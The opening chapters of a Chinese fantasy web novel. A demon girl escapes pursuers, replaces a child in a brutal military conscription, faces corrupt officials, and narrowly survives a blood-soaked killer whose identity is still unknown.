《不是要杀我,怎么天天哭着喊我姐姐?》
1. 你赌他什么时候会死?
乌云翻涌,似墨般泼洒在天际。
宛楪的发丝被狂风吹得肆意飞舞,她面色苍白如纸,额头上豆大的汗珠混着雨水滑落。
身后,那些自称高门的人如恶狼般紧追不舍,他们的黑袍在风雨中猎猎作响,脸上的贪婪与杀意,在阴沉的天色下显得格外狰狞。
山路上,泥土与碎石交织成一片崎岖的沼泽,每一步都像是在与大地的裂缝抗争。泥水无情地飞溅而起,肆意地涂抹在她的裙摆上,将那原本素净的衣衫染成一片狼藉。
她停下脚步,缓缓地转过身。狂风如怒涛般呼啸而过,卷起漫天的尘土与枯叶,仿佛在为她那注定坎坷的命运奏响哀歌。
身后,那些人的身影在风中若隐若现,却正以一种令人窒息的速度逐渐逼近。她的眼中闪过一丝黯淡,绝望如同潮水般汹涌而来。
前方是万丈深渊,身后是穷追不舍的敌人,而她的力量,早已在逃亡中消耗殆尽。
她已无路可退。
然而,就在那绝望即将将她彻底吞噬的瞬间,她的唇角却勾起了一抹决绝的弧度。她深吸一口气,胸腔中仿佛有一股火焰在燃烧,那是对命运的不甘与反抗。
宛楪闭上眼睛,将所有的恐惧与犹豫都抛诸脑后,然后猛地睁开双眼,纵身一跃。
身体在空中划出一道优美的弧线,如同一只挣脱束缚的飞鸟,向着那无尽的黑暗坠去。风声在耳边呼啸,她的发丝与衣袂在风中飞扬,仿佛是在这绝境中最后的舞蹈。
她是妖,身体里流淌着的血液赋予了她远超人类的坚韧与力量。即便从高处坠落,落地时的剧烈冲击也未能给她带来太大的损伤。
她只是微微蹙眉,体内翻涌的力量迅速修复着那些微小的创伤。
然而,当她刚站稳脚跟,环顾四周时,却发现眼前的局势远比她预想的要复杂得多。
悬崖之下,并非她所期望的安全避风港,而是一个新的危机漩涡。远处,一群手持武器的人正缓缓向她围拢过来,他们的眼中闪烁着与那些高门之人相同的杀机,冰冷而残酷,仿佛她只是一个待宰的猎物。
他们的身影在昏暗的光线中若隐若现,但那紧握武器的手和紧绷的神情却透露出他们内心的狠辣与不容置疑的敌意。
宛楪来不及多想,转身向远方奔去,她看到天边有一片村落,那是她唯一的希望。她的身体已经达到了极限,每一步都像是在与死神赛跑,但她别无选择,只能咬紧牙关,朝着那片村落拼命跑去。
宛楪的脑海中,往昔的画面如潮水般汹涌而至,每一帧都像是刻在心口的伤痕,隐隐作痛。她曾游历至重山,那是一片山清水秀的秘境,翠竹摇曳,溪水潺潺,仿若世外桃源。
然而,这片宁静之下却暗藏着无尽的凶险。
在一次山洪暴发时,天地仿佛瞬间崩塌,汹涌的洪水如猛兽般肆虐,吞噬着一切。就在那生死攸关的瞬间,她遇到了一个乞丐装扮的女子。那女子衣衫褴褛,满身泥泞,却有着一双清澈而明媚的眼睛,笑容温柔得如同春日暖阳。
她毫不犹豫地将宛楪护在身下,用自己的血肉之躯为她抵挡住那无情的洪水。等到洪水退去,那女子却已气息奄奄。她紧紧握住宛楪的手,断断续续地说:“我曾有个救命恩人……我还没来得及报答……你若能活着出去,替我找到他……”女子的眼中满是眷恋与不舍,泪水悄然滑落,最终在宛楪怀中永远地闭上了眼睛。
那一刻,她只能跪在泥泞中,眼睁睁地看着一个温暖明媚的女子,永远定格在冰冷的洪水中。
宛楪答应了那名女子的请求,她深知这份嘱托背后的意义。然而,当她来到那处地方时,迎接她的却是一群凶神恶煞的面孔。他们手持利刃,眼中闪烁着贪婪与凶狠,口中喊着什么“高门大户”“认祖归宗”的话语,仿佛她是一块唾手可得的肥肉。
在宛楪还未反应过来时,其中一人突然抽出刀,寒光一闪,直直地向她刺来。她下意识地闪身躲避,却仍能感受到刀锋划过肌肤的冰冷。她瞬间明白,这些人并非冲她而来,而是为了那名女子。
那些所谓的“高门”之人,早已将她,不,是那名女子,当作了眼中钉。
宛楪心中一沉,她知道,如果自己说出身份,或许能暂时脱身,但那名女子的嘱托将彻底落空,而她自己,或许会成为那些高门之人手中的棋子。
她咬紧牙关,心中想着那名女子的嘱托,转身就跑。
然而,对方人数众多,他们如潮水般涌来,将她团团围住。宛楪拼尽全力挣扎,但对方的攻击如同暴雨般密集,她被逼入绝境。
最终,她还是没能逃掉。当她被逼到悬崖边时,她回头望去,那些人眼中闪烁着嗜血的光芒,仿佛她只是一个待宰的猎物。
宛楪心中满是悲愤与不甘。
若不是自己的妖力消失,若不是碍于那名女子的嘱托而隐瞒身份,或许还能有一线生机。
若妖力还在,那个善良的人类女子,也许不会死得那么惨,她的嘱托也不会成为宛楪心中永远的痛。
宛楪的思绪正沉浸在回忆的漩涡中,脚下突然被绊了一下,身体失去平衡,猛地向前栽倒。
她跌进一个破旧的木箱,箱子里堆满了腐朽的骸骨,空气中弥漫着令人作呕的血腥味。那些骸骨在黑暗中显得格外狰狞,仿佛在无声地诉说着过往的悲惨。
刺鼻的血腥味瞬间涌入她的鼻腔,宛楪的身体本就筋疲力尽,这突如其来的刺激让她眼前一黑,晕厥了过去。
不知过了多久,一阵阵撕心裂肺的哭喊声将她从黑暗中唤醒。她的意识逐渐恢复,缓缓睁开眼睛,透过棺材的缝隙,眼前能看到的,是一片昏暗的房顶。
房间的角落里堆满了烧过的纸钱和供品,残余的灰烬在微弱的光线中显得格外凄凉。
那哭声愈发凄切,宛楪顺着声音看去,只见一名女子抱着一个孩子,跪在地上,泪水如断了线的珠子般滚落。
女子的哭喊声中带着无尽的悲痛与绝望,让宛楪瞬间明白了什么。
她躺的地方,竟是棺材!!!
宛楪的脑海中瞬间闪过无数念头,她意识到自己可能误入了某个刚刚经历了丧事的家庭。躺在死人的地方,让宛楪无端生出一丝不适。
外面女子的哭声如同一把利刃,直直刺痛人的心。
无论这行为好不好,宛楪下都必须从这个破碎的棺材里面出来。
艰难地从棺材中爬出来,宛楪浑身乏力,每动一下都像是在撕扯着伤口。
她环顾四周,那些追杀她的人似乎并未跟来,她终于松了一口气。然而,她的出现却吓了那名女子一跳。女子猛地抬起头,惊恐地看着宛楪,怀中的孩子也被惊醒,哇哇大哭起来。
宛楪咳嗽了几声,声音沙哑而疲惫:“别怕,我不是坏人。”女子却依然惊魂未定,紧紧抱着孩子,警惕地看着她。
宛楪微微勾起嘴角,露出一个无奈的笑。她抬手轻轻抚过自己的脸颊,指尖触到的是一片冰冷的汗珠和干涸的血迹。
她的衣衫破烂不堪,上面还沾染着斑驳的血迹和泥污。头发乱作一团,像是一团被狂风蹂躏过的枯草,毫无章法地披散在肩上。
几缕碎发黏在额头上,混杂着汗水、血水和尘土,黏腻地贴在脸上,散发出一股刺鼻的味道。她的脸颊上被划出几道深深的伤口,肿胀发红,仿佛被野兽撕咬过一般。
伤口处还渗着血水,与脸上的污垢混成一片,让人不忍直视。
她知道,自己现在的样子一定很吓人。她强行扯出一丝笑容,试图让自己看起来不那么可怕。
“真的,我不是坏人。”她的声音沙哑而疲惫,却带着一丝温柔,仿佛在安抚受惊的幼兽。身体的疲惫让她没力气支撑,她坐下来,靠在墙边,闭目养神。
片刻后,她听到一阵脚步声,接着是一碗水和一些吃食被放在了她面前。她睁开眼睛,看到那名女子正站在
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不远处,眼神复杂地看着她。宛楪感激地笑了笑,端起水喝了几口,又吃了些东西。虽然只是片刻的歇息,但她能感觉到自己的体力恢复了一些。
她和女子攀谈起来,得知这户人家的男主人在不久前去世,家中只剩下这对母子。如今,上面征兵,要带走她五岁的儿子。如果不同意,她们就会被当作流民放逐,无处安身。
女子一边断断续续地说着,一边泣不成声,泪水如同决堤的洪水,汹涌地从她的眼眶中奔涌而出,浸湿了她原本就破旧不堪的衣襟。
女子的肩膀剧烈地颤抖着,声音带着一种撕心裂肺的悲痛。她怀中的孩子被她的哭声吓得紧紧抓住她的衣角,小脸涨得通红。
就在这时,外面突然传来一阵嘈杂声,接着是沉重而急促的脚步声,仿佛一群野兽正朝着这里逼近。
女子的脸色瞬间变得煞白,像是一张被风霜侵蚀的纸。
她紧紧抱着怀中的孩子,身体微微颤抖,仿佛随时都会被这突如其来的恐惧击垮。孩子也被这紧张的气氛吓到,小手紧紧抓着母亲的衣角,眼神中满是惊恐与不安。
宛楪的心猛地一沉,她知道,征兵的人来了。她站起身,目光落在那女子怀中的孩子身上,眼中闪过一丝坚定。
“家里的男丁赶紧滚出来,军队要人,别想着私藏和逃跑!”
菀楪透过里屋的门缝看过去,一群人身高马大,领头的嘴里还叼着一截烟管,面带嚣张。
接着东西被砸在地上,士兵上前掰开女子护着孩子的手。
小孩一路被拽着,挣扎着喊妈妈救他。
宛楪见状不由得焦急,她四下摸索,从自己身上撕下块块破布,缠住头发,迅速伪装成男相。
“谁让你老子死了,家里就只剩这个小的呢。”大汉粗鲁的踹了地上跪着的女子,大声怒骂着。
他甚至还嫌烦,一把拽开女子,狠狠咒骂,“就你那个孩子不去战场也是短命的鬼,还不如跟我们走呢。再说了,这是上面的命令,你求谁都没用。”
大汉的巴掌扬起来,狠狠掴了女子一下,还嫌不够,对着那张渗出血丝的脸再度挥去。
“你在干什么?”菀楪赶到,拽住他的手,狠狠把他摔在一旁,拦下了即将要对母子挥舞的鞭子。
“我代这孩子去。”她的声音变得低沉而沙哑,仿佛从幽暗的山谷中传来,带着一丝坚定的决绝。
与刚才的语调截然不同,让人完全无法辨认出这是一位女子的声音。
这是换声,妖族独有的天赋。可以随心所欲地变换声线,或高亢激昂,或清脆如玉……
在这方面,妖族的能力,远超人类。
士兵们愣了一下,随即爆发出一阵哄笑,那笑声中满是嘲讽与不屑:“就你?能顶什么事?”
宛楪抬起头,目光如刀般扫过众人,眼神中透露出一种凛冽的寒意:“我怎么也比一个孩子有用吧?”她的声音虽然沙哑,但却充满了力量,似乎在挑战这些士兵的底线。
士兵们沉默了片刻,其中一个看起来像是头目的人上下打量了她一番,眼神中闪过一丝犹豫,但最终还是点了点头:“行,你去吧。不过别怪我没提醒你,这日子可不好过。”
宛楪嘴角勾起一抹讽刺:“我有心理准备。”
她被推搡着加入了征兵的队伍,一路上,不时有人用鞭子抽打她。每一道鞭痕都像是在她的身上刻下一道屈辱,但她只是皱着眉,厌恶地看着这些人,心中暗骂这些人类中的败类。她的脚步虽然沉重,但每一步都走得坚定,仿佛在用行动证明自己的决心。
正想着,头顶突然传来一声怒骂,紧接着,她被几个士兵粗暴地拖到河边,毫不犹豫地丢了进去。冰冷的河水瞬间涌入她的鼻腔,让她几乎窒息。她在水中拼命挣扎,试图浮出水面,但河水却像是一双无形的巨手,紧紧地扼住她的咽喉。
“你赌他什么时候会死?”岸上官兵的声音传到宛楪的耳朵。
2. 这个人是谁?!
宛楪在水中拼命挣扎,冰冷的水流无情地涌入她的鼻腔,带来刺痛和窒息感。
她拼命地把水从嘴里吐出,试图抓住一丝生机,她的身体在水中晃动,每一次呼吸都像是在与死神搏斗。
水流似乎在故意捉弄她,不断地将她往下拉扯。她的手指在水面上抓挠,试图找到一个可以支撑的点。意识逐渐模糊,眼前的一切都在旋转,耳边只剩下水流的轰鸣声
她感觉身体却越来越不听使唤,每一次挣扎都在消耗她最后的力气。
岸上的士兵们冷漠旁观,发出阵阵刺耳的嘲笑声,他们的笑声中充满了恶意和幸灾乐祸。
他们眼神中透露出对生命的极度轻视,仿佛宛楪的生命不如一只蝼蚁。
“看啊,那人在水里扑腾得像条死鱼!”一个士兵大声嘲笑,语气中满是轻蔑。
“哈哈,真是可怜,丢了几块石头就爬不上来了,就活该他淹死!”另一个士兵附和,脸上露出残忍的笑意。
“嘿,各位,这小子还能在水里撑多久?”第三个士兵故意拖长声音,语气里透着一股子幸灾乐祸。他斜着眼睛,扫了一圈周围的同伴,眼里是算计和期待,迫不及待地想要看到结果。
他们围成一圈,像是在观赏一场无聊的表演。笑声在空气中回荡,宣告着冷漠和残忍。
宛楪眼前模糊不清,她的瞳孔在极度的痛苦和绝望中突然变成了红色。
那是一种恐怖的,令人毛骨悚然的血色。红色瞳孔在水中显得格外妖冶。
那血色宛如她内心深处积压已久的愤怒与不甘在这一刻如火山般猛烈爆发。
但这种变化只持续了一瞬间,她的瞳孔很快又恢复了原本的黯淡。
刚刚的一切似乎只是她生命中最后的一抹挣扎。她的身体在水中挣扎,消耗她最后的力气。那双曾经血红的瞳孔,如今又变得空洞而迷茫,预示着她的灵魂也在逐渐被水流吞噬。
就在这时,岸上阻止她的人突然停手,像是被震慑一样躲在一旁。没有头顶上的石头,宛楪凭借着最后的力气,勉强爬上了岸。
她模糊的视线中,看到一人坐在马背上,那双眼睛冷冷地扫过她,满是冷漠,似乎她已经是一个尸体了。
周围的空气似乎都凝固了,紧张的气氛弥漫在每一个角落。士兵们的嘲笑声戛然而止,取而代之的是一片死寂。
马背上的那个人,腰间佩着一把寒光闪闪的长剑,剑身上的血迹在阳光下反射出嗜血的光芒,仿佛随时准备夺走他人的生命。
他衣服上残留着战斗的痕迹,血腥味弥漫在空气中。那张脸被血迹染红,看不清他长什么样子,只有那血迹昭示着他刚刚度过了一场惨烈的战斗。
宛楪艰难地站起身,身体摇摇欲坠,仿佛随时都会再次倒下。
衣服湿漉漉地贴在身上,紧紧地缠绕着身体,让她每动一下都感到无比的沉重。
头发凌乱地披在肩上,像是被狂风肆虐过的野草,几缕湿发贴在脸颊,随着她的呼吸微微颤动。她的脸上满是混合着血迹的水迹和泥污,一幅凄惨的画面。
她的嘴角还残留着一丝血迹,显然是在水中挣扎时咬破了嘴唇。眼神中充满了疲惫和愤怒。
他微微皱眉,似乎对她的出现感到厌烦,那眼神中透露出的轻蔑和冷漠,让人不禁愤怒。
她试图看清马背上的那个人,但视线却越来越模糊。她只能感受到那双眼睛中透出的冷漠与不屑,仿佛她只是一个微不足道的蝼蚁,不值多看一眼。
马背上的那个人微微皱了皱眉,似乎对宛楪的出现感到不悦。他轻轻一挥手中的马鞭,周围的士兵立刻散开,随即转身,没有一丝温度,仿佛再说,这个被丢进水里差点丧命的,只是个微不足道的障碍而已。
她不得不咬紧牙关,努力让自己站稳。宛楪站在那里,望着他们远去的背影,心中涌起一股强烈的愤怒,但她知道现在不是发泄情绪的时候。
宛楪深吸一口气,努力让自己保持冷静。就算心中无奈悲愤,但她知道,自己必须也只能跟上去。
宛楪深吸一口气,艰难地迈开沉重的步子。她的脚踝在水中浸泡太久,已经变得麻木,每踩下去都像是踩在棉花上,没有丝毫的着力感。所以每一步都在与自己的身体抗争。
身体在每一步中摇晃,但她只能坚持,一步接着一步,慢慢地跟上了队伍。
宛楪刚回到队伍,耳朵里就充斥着尖锐的耳鸣,嗡嗡作响,几乎盖过了周围的一切声音。还没等她缓过神,一阵不堪入耳的叫骂声便直直钻进她的耳朵:“磨磨蹭蹭的,死哪去了?”“动作快点,别在这装死!”此起彼伏的粗话,好似一把把尖锐的刀刺向宛楪,让她胸腔里的愤怒如同被浇了一桶油,理智几乎要冲破牢笼。
刹那间,她的眼眸像是被愤怒点燃,瞳孔瞬间被浓烈的红色所浸染,那抹红中透着凛冽的杀意,仿佛要将眼前的一切都焚烧殆尽。
可仅仅眨眼之间,理智又将她从失控的边缘拉回,红色瞳孔迅速褪去,就像从未出现过一样,一切又恢复了表面的平静,只是她微微颤抖的身躯,还在泄露着她内心的汹涌。
宛楪深吸一口气,努力站稳脚跟。她紧咬下唇,尝到了一丝铁锈一样的血腥味儿。心里的不忿几乎要将她埋没,但是她也知道——
现在反抗,毫无意义。
她只能暗暗攥紧拳头,指甲深深嵌入掌心,强迫自己把所有情绪咽下,
迎着那些难听的话语,宛楪一步一步,艰难地继续向前走去。每一步都在与自己的身体和心灵抗争。那些粗俗谩骂,像是一把把锋利的刀,不断地割裂着她的自尊和尊严。
她的心中充满了痛苦和愤怒,但更多的是一种深深的无力感。
她不能停下来,不能让这些人的言语打败自己,指甲嵌入手心,豁出一条血痕,胸腔中的怒火狠命地燃烧,几乎就要抑制不住地跳出来。
人类有的人,虚伪,冷漠,恶心!
她在心里给人类下了个定义,满是厌恶地想:“这样的人,该杀掉。”
此刻,她的眼神中蕴含决绝和杀意,看着旁边不断挥舞鞭子的人,似乎下一秒,她就会毫不犹豫地将心中的杀意付诸行动。
宛楪被押送到军营的那一刻,她的心就沉了下去。此地的残酷远不止生死一线的惊险,官兵欺压,饿殍遍野,倒不像是军营,像是抛尸地。四周弥漫着一股压抑的气息,周围的士兵,他们的眼神中透露出对未来的迷茫和恐惧。
营地里,死亡成了日常,几乎每一天都有人在痛苦与绝望中咽下最后一口气。然而,这一切都如风吹过荒野般无人问津,没有人为之动容,甚至一个多余的目光都吝啬给予,生命仿若蝼蚁,消逝无声无息。
生命如草芥,死亡似乎只是最平常不过的尘埃,随意飘散在这充斥着绝望与压迫的营地里。
最奇怪的是,军营是打仗保卫国家的地方,但这里居然是文官领兵,人们吃都吃不饱,文官却可以大肆吃肉,肆意的在人群面前享用美食,肉沫沾染的血腥气直直蹦到人的脸上。
宛楪从战场上下来,浑身伤痕地躺在地上,准确来说应该是禁闭室大牢的地面上。潮湿阴暗的气息不断往宛楪的鼻子里面钻,昏昏沉沉的脑子被浸在这种阴暗点地方,控制不住地恶心想吐。
这不是她第一次进这个叫禁闭室的地方,军营没有吃的,就算是妖,一直不进食不喝水也会产生问题。那是一个晚上,宛楪实在忍不住了,决定出去找点吃的。
“你在做什么,一条贱命还想跑?”
他们以为她是要逃跑,不由分说地将她押了回去,并关进了禁闭室。
那时的禁闭室就已经这么昏暗,让人不适,大概是因为前面需要人打仗,她又被放了出去,穿上所谓的甲胄,拿上破败的生锈的武器,去和那些人一起,上阵杀敌。
“这哪是战场,这根本就是屠宰场,我们活不了的!”
“救救我们吧,我不要变得像外面那些烂泥一样,不要,救救我!”
周围人的惨叫声不绝于耳,不过没有人应答,换来的只是一次又一次的鞭子挥舞在身上,带着沉重的血腥气和几乎尸体腐烂的淡淡腥味。
谁的抗争都没用,似乎这就是一场就像既定必死的,被人用刀砍成人碎片的,命运的巨大悲歌盛宴。
宛楪被派去打仗,在战场上,她像一只勇猛的小兽,拼尽了全力。
当战争终于结束,她本以为能得到应有的功劳,却被那些文官残酷地剥去。她站在那里,听着他们推杯送盏的讨论自己的功劳应该归谁,不可置信。
“我在战场上拼死拼活,身上的伤口还在流血,你们凭什么吞占别人的功劳,这太不公平了!”她试图争辩,“为何不给我应得的奖赏?”
几天下来,她几乎没吃过一顿饱饭,身体越来越虚弱。她知道,如果再这样下去,自己恐怕撑不了多久。
那些文官轻蔑地回道:“哼
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,你一个小兵,有什么资格讨赏?”
宛楪难得地抗争,用人类的语言抗争,似乎对于一个外族人,她想要问问人类世界到底为什么会是这样?
她愤怒,十分生气地吼着,“你们这是昧着良心做事!”
她的情绪愈发激动,声音也越来越大,仿佛要把胸中的怒火全部宣泄出来:“我冲锋在前,为国家立下了汗马功劳,你们这是对我的极大侮辱!我要求得到公平!”
她站在那里直视着那些文官。眼睛里闪烁着愤怒的火花,仿佛要将眼前的虚伪和不公烧成灰烬。
文官们听到她的怒吼,脸色顿时变得阴沉,其中一位身穿华丽官服的文官冷笑着站起身来,用手指着她,语气中充满了威胁:“你这个不知好歹的贱民,竟敢在这里大放厥词,挑战我们的权威!你一个小兵,能有什么功劳?不过是侥幸活下来罢了,竟敢妄想得到奖赏,真是痴心妄想!”
她站在那些肆意讥笑她的官员面前,她的心中充满了愤怒和不甘,但似乎弱得无处发泄。
尖锐的指甲再度深深嵌入掌心,刺激的痛苦如电流般迅速蔓延,可宛楪却只觉得这一切荒诞得难以置信。她的眼中只盯着前面那些谈论分配她功劳的,刺眼的文官。
那副嘴脸在宛楪眼中无比恶心,每一个表情、每一句话都像一把把沾上毒药的刀刃,凌迟她的心脏。
“我亲眼目睹了无数人牺牲,他们用生命捍卫国家的尊严,你们这些文官,躲在安全的地方,却对我们的付出视而不见,还污蔑我们的功劳,你们的良心何在?”她大声质问,声音中充满了悲愤和控诉。
她的眉头紧锁,嘴角微微上扬,露出一丝冷笑,那是对文官们的蔑视和对不公的愤慨。她的声音中带着颤抖,那是愤怒的颤抖,压抑已久的情绪在这一刻爆发出来。
她想到那些死去的人,那些为了卫国被一枪捅穿的人,她希望他们能得到应有的尊重和认可。
听到她如此激烈的言辞,那些文官顿时恼羞成怒,纷纷围了上来,其中一个文官厉声喝道:“来人啊,把这个不知天高地厚的贱民拖下去,关进大牢,让她好好反省反省!”
几个如狼似虎的狱卒应声而上,粗暴地将她拖住,不顾她身上的伤口还在流血,强行将她拖走。她奋力挣扎着,大声呼喊:“你们这是草菅人命!你们会付出代价的!”
文官们得意地笑了起来,仿佛在嘲笑她的无力反抗。他们坐在高高的官位上,手握重权,对一个小兵的命运肆意玩弄,根本不把她的生死放在眼里。
他们霸道地掌控着一切,用权力压制那些真正为国家付出的人,却在背后窃取功劳,享受荣华富贵。
她被关进了阴暗潮湿的大牢,心中充满了悲愤和绝望。如果她不是妖,只是一个人,一个生活在这个国家的百姓。
这些敬仰国家的人,不战俯首称臣,发生战争,为了国家浴血奋战,甚至牺牲生命。
如今却遭到如此不公——
尊严,生命,底线。被那些文官无情地抛弃和打压。
趁着夜色,她小心翼翼地朝着营外挪动。月光透过稀疏的云层洒在地上,给这荒凉的军营增添了一丝诡异的气氛。
就在她正打算找机会跑出去的时候,突然听到外面传来一阵嘈杂的声音。
她凑近门缝,只见几个领头的文官被一群士兵押着,脸上满是惊恐。突然,一个身影从人群中冲了出来,手持利刃,向文官们挥去。鲜血四溅,文官们纷纷倒地,只剩下少数几个人还在苟延残喘。
剩下的脸上满是惊恐,往日的高傲早已不见踪影。一个人站在他们前面,脚下已经横七竖八地躺满了文官的尸体。有的脑袋被砍得血肉模糊,有的身体被剑刺穿,鲜血从伤口处汩汩流出,染红了地面。
还有的四肢被残忍地斩断,残肢断臂散落一地,场面血腥而恐怖,令人作呕。
他的手中的剑身上的血迹已经凝固成暗红色,散发着令人作呕的血腥味,浑身散发着一股令人毛骨悚然的冷酷气息,仿佛从地狱中走出的死神,令人不寒而栗。
剑尖还在滴血,诉说着刚刚发生的惨烈杀戮。
文官们所剩无几,剩下的几个吓得瑟瑟发抖,脸色苍白如纸,躲在角落里,不敢发出一丝声响,生怕成为下一个被杀的对象。
如此血腥的一幕让宛楪觉得震惊,脑海中一片混乱,无数的疑问和在心中翻涌,场景让人角色十分恐怖。
这个人是谁?!
3. 生死一线
杀戮仍在无情地延续,那人仿若来自地狱的修罗,周身气息令人胆寒,审判着这些恶劣的文官。
刺鼻的血腥气迅速弥漫开来,充斥着整个房间,目之所及,尽是横七竖八的尸体与破碎的血肉。
宛楪心中暗自思忖:“此人究竟是谁?和这些文官有什么仇怨,要如此不留余地?”
疑惑的未知和迷茫交织在她心间,然而,那心底深处却又悄然滋生出一丝难以言喻的期待。
此人的所作所为,不失为一种替那些在战场上浴血奋战却惨遭不公对待的士兵们,讨回公道。
这些贪婪、冷酷的文官,何尝不是付出了他们的惨痛代价。
不过转瞬之间,文官们已被屠戮殆尽,只余下满地触目惊心的血污和几乎没有生气的文官,不知道是不是都成了尸体。
宛楪喉咙干涩,艰难地咽了口唾沫。这处关禁闭的房间环境恶劣,要命的是几乎没有什么像样的遮挡物。
她是在一堆木箱后,看着那人在屋内大开杀戒。
利刃挥舞伴随着惨叫与鲜血飞溅。此刻,她与这场血腥屠戮仅隔着这堆勉强掩身的木箱。
那人稍稍抬头,仔细看上一眼,便能发现前方那个被绳子紧紧捆缚、目睹了全程的自己。
宛楪放在后面的手加快了动作,要快!
似乎是命运的恶意捉弄,下一秒,那人的目光如冰冷的寒芒,精准无误地锁定了宛楪。刹那间,眼中先是闪过一抹极度的诧异,像是对在此处发现旁人感到不可思议,可转瞬,那诧异就被森冷的杀意所彻底取代。
他没有丝毫犹豫,高高举起手中那还滴着鲜血的利刃,带着呼呼风声,如一道黑色的闪电,直冲着宛楪狠狠刺去。
宛楪目色紧紧地盯着那致命的利刃越来越近,想要躲避却被绳索禁锢得死死的。
她清楚,稍有差池,那致命的利刃就会贯穿她的身体。
宛楪感到似乎一股寒意从脚底直冲脑门,仿佛有一只无形的手,死死揪住了她的心脏。
她下意识向后退,大脑一片空白,时间仿佛被无限拉长,每一秒都煎熬难耐。
在那利刃即将刺中宛楪咽喉的千钧一发之际,宛楪拽出捆住自己的绳子,甩到对方脖子上,狠狠一拽,嵌入那人的脖颈。
对方似乎没有想到她会这么做,没有设防,让宛楪得逞。吃痛一声,手中利刃却没有丝毫犹豫,继续向宛楪刺来。
宛楪见状,哪敢有丝毫耽搁,趁着绳子迟缓了对方的速度,不顾被绳子勒得生疼的手腕,手忙脚乱地从禁锢之处逃了出来。
她的呼吸急促而沉重,心中只有一个念头,赶紧跑!
一路狂奔,回到了军营,宛楪靠在一棵树上缓口气,脑中浮现刚才那人阴狠妖孽的脸,眼眸中的杀意恨不得将她断骨拆皮。
头上的月亮很圆,散发着冷淡明亮的光。宛楪思索着,这是她第一次看到人类的眼睛是这样的,那是一个狠戾的角色。
可还没等她平复慌乱的心情,就突然被召集到一处。众人被告知,上头有人正在找人,怀疑那人逃到军营里来了。
给出的理由让人难以相信,一名大户人家的女子不见了,可能会女扮男装,往军营这边来,虽然这种可能性很小,但为了排查一切可能性,必须接受排查。
军营,本应是捍卫家国的坚固壁垒,承载着王朝的安全与希望。墙头上原本应当布满荷枪实弹、哨兵应该警惕地巡视,彰显着军营的威严与庄重。
然而现在,不知从何处而来的人,竟能大摇大摆地在军营穿梭。他们没有出示任何凭证,也未受到任何询问。
哨兵们懒散地倚靠在墙边,或是聚在一起交头接耳,仿佛在无声地宣告这里的秩序已彻底崩塌。
军营是王朝的军事根基,这样压榨底层,谄媚高层的乱象,无疑是军营内部腐败的铁证。
它的腐朽预示着整个王朝正从内部开始溃烂,王朝的根基岌岌可危。
宛楪倚靠在树干上,目光落在地面上那片明亮得刺眼的月光,不知思考什么沉默着。
宛楪背靠着大树,心脏在胸腔里剧烈跳动,几乎要冲破胸膛。她的双手下意识地攥紧,指尖因用力而泛白。不用多想,那些人绝对是冲着她来的,每一个细节都在昭示着这场针对她的阴谋。
她的目光警惕地扫视着四周,风声在耳边呼啸,仿佛是敌人逼近的脚步声。接下来,必定是一场恶战,每一次呼吸都像是在倒计时。
最让她胆寒的是,慌乱奔逃间,她根本无暇顾及那人是否看清了自己的面容。
如果被记住了长相,就如同被死神盯上,按那个人狠辣的性子,她就算是逃到天涯海角,也会被他一箭穿心,直到彻底死亡。
她的处境已经糟糕到了极点,危险如影随形,每一秒都可能是生命的终结。
前方传来一阵悉悉索索的动静,紧接着便是厉声地盘问。
人群中,恐惧如同野火般迅速蔓延,大家小声地交头接耳,细碎的讨论声此起彼伏。可突然,几道尖锐的鞭响划破空气,如惊雷炸响。伴随着鞭子抽打皮肉的闷响,人们的惊呼声戛然而止,所有人都被恐惧攥紧了咽喉,噤若寒蝉,只能听见沉重又慌乱的呼吸声。
宛楪混在人群之中,大气都不敢出,身体不受控制地微微颤抖。她尽可能地把自己蜷缩起来,恨不能找个地缝钻进去。她的眼睛瞪得滚圆,带着些许惶恐和不安,在人群里她从缝隙中,偷偷地朝远处望去。
就在这时,一个让她肝胆俱裂的消息如同一记重锤,狠狠地砸向她!
千真万确,就是那群人!
他们的身影出现在视野尽头,如同一群从黑暗中涌出的恶鬼,正朝着这边步步紧逼。
宛楪的心猛地一沉,好似坠入了无尽的冰窖,每一口都像是在抽着冷气,双手不受控制地颤抖起来,连指尖都泛着惨白。
她死死锁住那逐渐逼近的模糊人影,死亡裹挟着未知的恐惧,如迷雾般缓缓笼罩,而自己就像被定格在时间
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里的木偶,无力挣脱。
那些人找过来,肯定让她没什么好下场!绝不是什么好事,要怎么办?!
此刻,她的心脏仿佛要跳出嗓子眼,双腿发软,几乎站立不稳,只觉得死亡的阴影正迅速将自己笼罩。
宛楪哪怕身为妖物,在短短一天之内,接连经历被剥夺功勋、关进大牢,又亲眼目睹杀人惨案,如今仇家还找上门来,内心防线也濒临崩溃。
更糟糕的是,高坐上位的并非以前的文官,而是刚才亲手杀人的那个家伙。那些文官应该被他杀了个干净。
把一个地方掌权人全部杀死,不留下任何一个做傀儡,杀戮像是任务一样,冰冷没有情绪的机器。
如此狠辣的手段,不得不让人觉得——
他是个疯子!
前面是一心要取她性命的仇人,只要不注意,就会丧命于此。现有被看到杀人过程,急于灭口的疯子,就像一道甩不掉的索命黑影,步步紧逼。
周围,是视人命如草芥的官兵,他们的冷漠与残忍在空气都弥漫着绝望的气息。
放眼望去,方圆几里,不是荒无人烟、让人迷失方向的沙漠,就是静谧幽深、暗藏危险的树林。
而此刻的她,法力尽失,如同一只折断翅膀,无法振翅高飞的小鸟。怎么看,都不是像是老天想让她活过这一劫的意思。像是已经为她的命运画上了句号,昭示着她这一次熬不过。
每一阵风声都像是死亡的前奏,每一片阴影都藏着致命的危机,她的呼吸急促而沉重,心里充满了逃无可逃的绝望。
宛楪缓缓抬起头,视线落在高位之上的人身上,双手不受控制地越攥越紧,指尖因用力而泛白,冷汗从掌心不断渗出。那群人正步步紧逼,脚步声好似重锤,一下下敲在她的心尖。
她的大脑疯狂运转,急切地寻找着解决眼前危机的办法,可脑海中却一片空白,混乱得如同暴风雨中的海面,未知的恐惧如汹涌的潮水,将她彻底淹没,似乎每一次呼吸都带着颤栗。
现在最恐怖的是,她根本不知道那人是否已经认出了自己,这种不确定性就像一把高悬的利刃,随时可能落下。
若真被认出来了,他一定会是毫不迟疑地杀了自己。
唯一存在的差异可能就是杀死自己的方式不同——
要么把自己直接抛到那些恨不得将她碎尸万段的人面前,冷笑着让他们尽管来挫骨扬灰;要么在这根本挡不住她的这群人里,被像拎小鸡一样揪出来,毫不留情地割断喉咙,在无尽的绝望中,感受着自己的生命被彻底夺走。
